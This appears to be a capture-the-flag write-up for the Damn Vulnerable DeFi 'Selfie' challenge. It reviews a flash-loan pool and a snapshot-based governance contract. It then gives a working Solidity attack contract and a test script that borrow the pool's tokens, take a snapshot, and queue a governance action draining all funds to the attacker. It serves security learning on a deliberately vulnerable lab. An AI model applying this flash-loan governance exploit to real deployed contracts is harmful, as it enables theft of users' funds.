Solution for “Damn Vulnerable DeFi - Challenge #6 - Selfie”.
1) Challenge
Description
A new cool lending pool has launched! It’s now offering flash loans of DVT tokens.
Wow, and it even includes a really fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all. (link)
Challenge created by @tinchoabbate.
2) Code Review
For this challenge, we have two contracts: SimpleGovernance
, responsible for adding and executing actions and SelfiePool
, accountable for offering flash loans.
SelfiePool
(source code):
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
contract SelfiePool is ReentrancyGuard {
using Address for address;
ERC20Snapshot public token;
SimpleGovernance public governance;
event FundsDrained(address indexed receiver, uint256 amount);
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}
constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}
function flashLoan(uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
token.transfer(msg.sender, borrowAmount);
require(msg.sender.isContract(), "Sender must be a deployed contract");
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
|
flashLoan
function (the logic of this function is very similar to the one of Challange #2:
- prevents reentrancy by using the
nonReentrant
modifier (from ReentrancyGuard)
- checks if the ETH balance of the contract is greater or equal to the amount we want to borrow (line
34
)
- transfers to
msg.sender
the amount requested
- checks if the borrower (
msg.sender
) is a contract (line 38
)
- calls the
receiveTokens
function of the borrower contract (line 41
) passing the token address and the borrowed amount
- checks if we paid back the loan (line
49
)
drainAllFunds
transfer all the pool balance to a recevier
address. Only the governance contract can call this function (because of the onlyGovernance
modifier - line 22
)
The core of this challenge is in SimpleGovernance
(source code):
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
|
contract SimpleGovernance {
using Address for address;
struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
DamnValuableTokenSnapshot public governanceToken;
mapping(uint256 => GovernanceAction) public actions;
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);
constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
return actionId;
}
function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
emit ActionExecuted(actionId, msg.sender);
}
function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
|
queueAction
is responsible for adding an action (represented by the GovernanceAction
struct) in a queue that can be later executed by calling executeAction
. The GovernanceAction
has the following fields:
receiver
: the receiver of the action
weiAmount
: the amount of wei to send in this call
data
: function call to execute
proposedAt
: timestamp used to keep track of when an action is proposed
Two conditions need to be satisfied to add an action in the queue:
- the
msg.sender
must have enough votes (line 39
). The right to vote is granted only to accounts with more than half of the governance’s token (line 88-90
). Also, to determine if a contract has enough voting power, the information from the latest token snapshot is used (getBalanceAtLastSnapshot
and getTotalSupplyAtLastSnapshot
)
- the receiver of the action must not be the governance contract (line
40
)
Once an action is added to the queue, it can be executed by calling executeAction
. In particular, anyone can request the execution of an already registered action if at least two days have passed since it was proposed (_canBeExecuted
- line 57
and 80-84
). The action will execute the function (stored in the data
property) of the receiver
contract.
Question
Who has enough votes to add an action to the queue?
There are 2M
total supply tokens (setup), and the pool held 1.5M
of them (setup). It means the pool contract has enough voting power to add an action in the queue.
Our goal is to drain all the balance. The drainAllFunds
could be used to drain all the pool balance; however, only the governance contract can call it. To make the governance call the drainAllFunds
(with a receiver address one of our control), we can add this as an action in the queue and execute it (after two days). The governance contract executes the action in the queue. This way, the msg.sender
of the call to drainAllFunds
will be the governance contract.
Question
How can we add an action to the queue?
The pool offers flash loans via the flashLoan
function. It also calls receiveTokens
from the receiver contract. If we request a loan equal to the pool balance, we’ll have enough voting power to call the queueAction
inside the receiveTokens
function. In particular, the action we want the governance contract to call is drainAllFunds
with our attacker address as the receiver
address.
3) Solution
The solution consists of the following steps:
- calls
flashLoan
requesting a loan equal to the pool balance
- inside the
receiveTokens
function, we need to:
- create a token snapshot since we have all the pool balance token (the token it’s an ERC20Snapshot) - this way, we’ll use updated information when
_canBeExecuted
will be called
- call the
queueAction
with the following values:
- receiver: the pool contract
- data: the
drainAllFunds
function with the attacker address as the receiver parameter
- weiAmount:
0
- repay the loan back
- once the
receiveTokens
function completes, we can call (after at least two days) the executeAction
to execute the action we have just added
AttackSelfie.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ISelfiePool {
function flashLoan(uint256 borrowAmount) external;
}
interface ISimpleGovernance {
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256);
function executeAction(uint256 actionId) external payable;
}
interface IDamnValuableTokenSnapshot {
function transfer(address to, uint256 amount) external;
function balanceOf(address account) external returns (uint256);
function snapshot() external returns (uint256);
}
/**
* @title AttackSelfie
*/
contract AttackSelfie {
ISelfiePool pool;
ISimpleGovernance governance;
IDamnValuableTokenSnapshot token;
address attacker;
constructor(address _pool, address _governance, address _token, address _attacker) {
pool = ISelfiePool(_pool);
governance = ISimpleGovernance(_governance);
token = IDamnValuableTokenSnapshot(_token);
attacker = _attacker;
}
function run() public {
uint256 amount = token.balanceOf(address(pool));
pool.flashLoan(amount);
}
function executeAction(uint256 actionId) public {
governance.executeAction(actionId);
}
function receiveTokens(address _address, uint256 amount) public {
IDamnValuableTokenSnapshot(_address).snapshot();
governance.queueAction(address(pool), abi.encodeWithSignature("drainAllFunds(address)", address(attacker)), 0);
IDamnValuableTokenSnapshot(_address).transfer(address(pool), amount);
}
}
|
selfie.challenge.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackFactory = await ethers.getContractFactory('AttackSelfie', deployer);
const attack = await AttackFactory.deploy(this.pool.address, this.governance.address, this.token.address, attacker.address);
await attack.connect(attacker).run();
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
await attack.connect(attacker).executeAction(1);
});
|
You can find the complete code here and here.
4) References